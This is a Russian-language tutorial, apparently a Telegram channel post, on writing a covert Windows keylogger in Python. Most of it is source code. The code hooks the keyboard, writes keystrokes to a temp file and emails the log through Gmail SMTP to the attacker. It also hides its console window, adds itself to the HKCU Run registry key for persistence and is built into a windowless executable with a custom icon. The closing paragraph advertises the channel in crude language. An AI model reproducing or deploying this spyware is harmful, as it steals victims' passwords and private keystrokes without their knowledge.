Пишем кейлогер с помощью Python
Почему Python?
В первую очередь, это его простота. Достигается она за счет того, что язык и все его составляющие изначально являются интерпретируемыми. Еще несколько лет назад такие системы и языки не были популярны у профессионалов, поскольку компилируемые данные работали гораздо быстрее, поэтому простоту предпочитали скорости. Но в случае, когда скорость обработки и выполнения кода машиной не настолько важна, есть смысл сэкономить время программиста и отдать предпочтение тому, что проще создавать, проверять и в дальнейшем совершенствовать. Кроме того, современная вычислительная техника гораздо лучше справляется с чтением интерпретированных кодов, а потому разница между языками постепенно стирается.
Второе важное достоинство – универсальность и «всеядность». Во-первых, программы на Python могут работать с любой операционной системой. Это делает его универсальным как для пользовательских задач, приложений в гаджетах, системных задач в серверах и массивах данных и так далее. Во многом благодаря этому Python и набрал свою популярность. Более того, в отличие от своего предшественника С, Пайтон занимает равное количество ресурсов памяти, а потому является по-настоящему легко переносимым кодом.
И на конец то, что большинство хакерских скриптов написаны именно на Пайтоне, делает этот язык по настоящему идеальным для нас, куча библиотек, столько же готовых примеров кода не просто упростят нам жизнь, но сделают ее чуточку приятнее.
Но есть и недостатки так?
Их совсем немного. Большинство программистов сходятся во мнении, что все же Python не так быстр, как хотелось бы. Даже в сравнении с другими интерпретируемыми языками он может проигрывать. Однако на деле задач, где важна супер-скорость реализации кода, не так много. Для большинства компьютеров и тем более гаджетов резвости Пайтона более чем достаточно.
Но для нас проблемой станет вес программы, поскольку для создание exe, пайтону нужно тянуть за собой интерпритатор и кучу библиотек.
Перед созданием кейлогера мы должны сделать gmail почту и включить там эту функцию:
Приступаем к написанию!
Работать наш кейлогер будет через gmail и для начала вам нужно установить модуль PyWinhook, pyinstaller, smtplib и email, после этого мы импортируем остальные нужные библиотеки, а PyWinhook как pyHook.
pip install нужныйпакет
import pyWinhook as pyHook import pythoncom import threading import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import win32event, win32api, winerror
Функция отправки email
Тут будет функция отправки писем, пароль и адрес почты на которую мы будем пересылать нажатые клавиши:
def email(): mail_content = ''' Привет, я кейлогер написаный специально для @CyberSec`s! ''' # Получатель, почта кейлоггера и пароль от нее sender_address = "почта для пайлогера" sender_pass = "пароль от почты для пайлогера" receiver_address = "ваша почта@gmail.com" # Setup the MIME message = MIMEMultipart() message['From'] = sender_address message['To'] = receiver_address message['Subject'] = 'It`s a me, PyLogger!' # Тема письма # Читаем файл - отправляем логи message.attach(MIMEText(mail_content, 'plain')) file = open("C:/Windows/Temp/klog.txt", "r") stringlogs = file.read() file.close() message.attach(MIMEText(stringlogs)) # Создаем SMTP сессию для отправки письма session = smtplib.SMTP('smtp.gmail.com', 587) # Сервер и порт gmail session.starttls() # Запускаем защищенное соединение session.login(sender_address, sender_pass) # Заходим в наш аккаунт text = message.as_string() session.sendmail(sender_address, receiver_address, text) session.quit() print('Mail Sent')
Класс Keylogger
В нем будет путь к файлу с логами и максимальное количество символов для отправки:
class Keylogger: i = '' log_path = ("C:/Windows/Temp/klog.txt") # Указываем путь куда сохранять txt с логами MAX_KEYSTROKES = 100 # Максимальное к-во символов, после него следует отправка письма
Скрытый запуск
Напишем функцию с помощью которой наш кейлогер сможет запускаться скрыто при помощи библиотеки threading:
class myThread(threading.Thread): def __init__(self, threadID, name, counter): threading.Thread.__init__(self) self.threadID = threadID self.name = name self.counter = counter def run(self): main()
Добавление в автозагрузку
Функция которая будет добавлять наш exe в реестр:
def addStartup(): if getattr(sys, 'frozen', False): os.path.dirname(os.path.realpath(sys.executable)) elif __file__: fp = os.path.dirname(os.path.realpath(__file__)) file_name = sys.argv[0].split("\\")[-1] new_file_path = fp + "\\" + file_name keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'# Место в системном реестре куда мы и будем сохраняться key2change = OpenKey(HKEY_CURRENT_USER, keyVal, 0, KEY_ALL_ACCESS) SetValueEx(key2change, "logger", 0, REG_SZ, new_file_path)
Параметры для открытия файлов
Это нужно будет для дальнейшего понимания статьи. Как видите, в примере, мы открыли файл с параметром а, это значит что данные которые мы в него запихнем не сотрут старые.
file = open(Keylogger.log_path, “a”) # Открываем txt с флагом а
Флаг “а” указывает на то что файл будет открываться в режиме append, то есть добавление символов, а не полная замена их.
‘r’ – read, режим чтения, который используется, когда файл только читается;
‘w’ – write, режим записи, который используется для редактирования и записи новой информации в файл (любые существующие файлы с таким же именем будут удалены при активации этого режима);
‘a’ – append, режим добавления, который используется для добавления новых данных в конец файла;
‘r +’ – read plus, специальный режим чтения и записи, который используется для обработки обоих действий при работе с файлом.
Добавим кнопкам названия
Проще говоря, если айди клавиши 13, значит ее зовут ENTER ну и так далее:
def KeyFilters(event): if (event.KeyID == 13): Keylogger.i += ' [Enter] ' elif (event.KeyID == 162 or event.KeyID == 163): Keylogger.i += ' [CTRL] ' elif (event.KeyID == 164 or event.KeyID == 165): Keylogger.i += ' [ALT] ' elif (event.KeyID == 8): Keylogger.i += ' [BackSpace] ' elif (event.KeyID == 160 or event.KeyID == 161): Keylogger.i += ' [SHIFT] ' elif (event.KeyID == 46): Keylogger.i += ' [Delete] ' elif (event.KeyID == 32): Keylogger.i += ' [Space] ' elif (event.KeyID == 27): Keylogger.i += ' [Escape] ' elif (event.KeyID == 9): Keylogger.i += ' [TAB] ' elif (event.KeyID == 20): Keylogger.i += ' [CapsLock] ' elif (event.KeyID == 38): Keylogger.i += ' [Up] ' elif (event.KeyID == 40): Keylogger.i += ' [Down] ' elif (event.KeyID == 37): Keylogger.i += ' [Left] ' elif (event.KeyID == 39): Keylogger.i += ' [Right] ' elif (event.KeyID == 91): Keylogger.i += ' [Windows] ' else: Keylogger.i += chr(event.Ascii)# Если айди не попадает под наши "категории" даем ему имя "символа" return True
Инициализируем переменные
Эта функция будет инициализировать переменные для будущего использования в sending_procedure
# Инициализируем переменные для sending_procedure def initialize(): hm.UnhookKeyboard() Keylogger.i = None Keylogger.i = '' hm.HookKeyboard()
Записываем собранные клавиши в файл
# Записываем собранные клавиши в файл def writeToFile(): file = open(Keylogger.log_path, "a") # Открываем файл с флагом "а" file.write(Keylogger.i) # Записываем в файл наши "логи" file.close() # Закрываем файл return True
Запрещаем множественные копии кейлогера
Проще говоря, это сделано для того, что бы на компьютере не смогли быть запущены сразу 2 наших кейлогера:
# Запрещаем копии кейлогера def disallow_Multiple_Instances(): mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz') if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: mutex = None exit(0) x = '' data = '' count = 0
Функция OnKeyboardEvent
Данная функция запускает KeyFilters и после и sending_procedure, что позволяет нам делать лог клавиш и отправлять его на почту:
# Запуск "Слушателя" клавиш def OnKeyboardEvent(event): KeyFilters(event) sending_procedure() return True
Скрытие консоли кейлогера
Используя модуль win32gui мы указали что видимость окна будет равна 0:
# Скрытие консоли def hide(): import win32console, win32gui window = win32console.GetConsoleWindow()# Узнаем где наша консоль win32gui.ShowWindow(window, 0)# Делаем ее невидимой return True
Функция запуска кейлогера
# Запуск кейлогера def main(): hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() #Вызываем функцию hide hide() #Добавляемся в реестр для автозагрузки addStartup() #Делаем переменную pm, которая будет обозначать HookManager hm = pyHook.HookManager() #Вызываем функцию disallow_Multiple_Instances disallow_Multiple_Instances() #Вызываем функцию для скрытого запуска thread = myThread(1, "Thread", 1) thread.start()
У вас наверняка возник вопрос как собрать это все в exe, для этого мы напишем скрипт, который будет запускать нам pyinstaller.
import os.path import os import platform logo = r''' ''' # Очищаем терминал и печатаем логотип def main(): if platform.system() == "Windows": os.system("@cls") else: os.system("clear") print(logo) main() # Переменная с командой для pyinstaller, вместо main.py впишите название ВАШЕГО скрипта install = ("pyinstaller -w --onefile --icon=ico.ico main.py") # Вызываем команду install os.system(install)
На этом все. Теперь вы знаете, как создать простейший кейлоггер на Python, который при желании можно доработать еще лучше.
Вас ебали, ебут и будут ебать. Государство, хакеры, чиновники. Остановить эту свингер-пати невозможно. Но я научу предохраняться. Я покажу и расскажу вам то о чём не пишет журнал “Хакер” и не рассказывают или просто не знают другие каналы. Здесь ты найдешь подборку лучших статей и видеоматериалов на тему кибербезопасности. Все, от аудита Wi-Fi до вскрытия автомобилей (если вы потеряли ключи). А также горячие новости с авторскими коментариями.
Обо всем этом вам расскажу только я на канале @cybersecs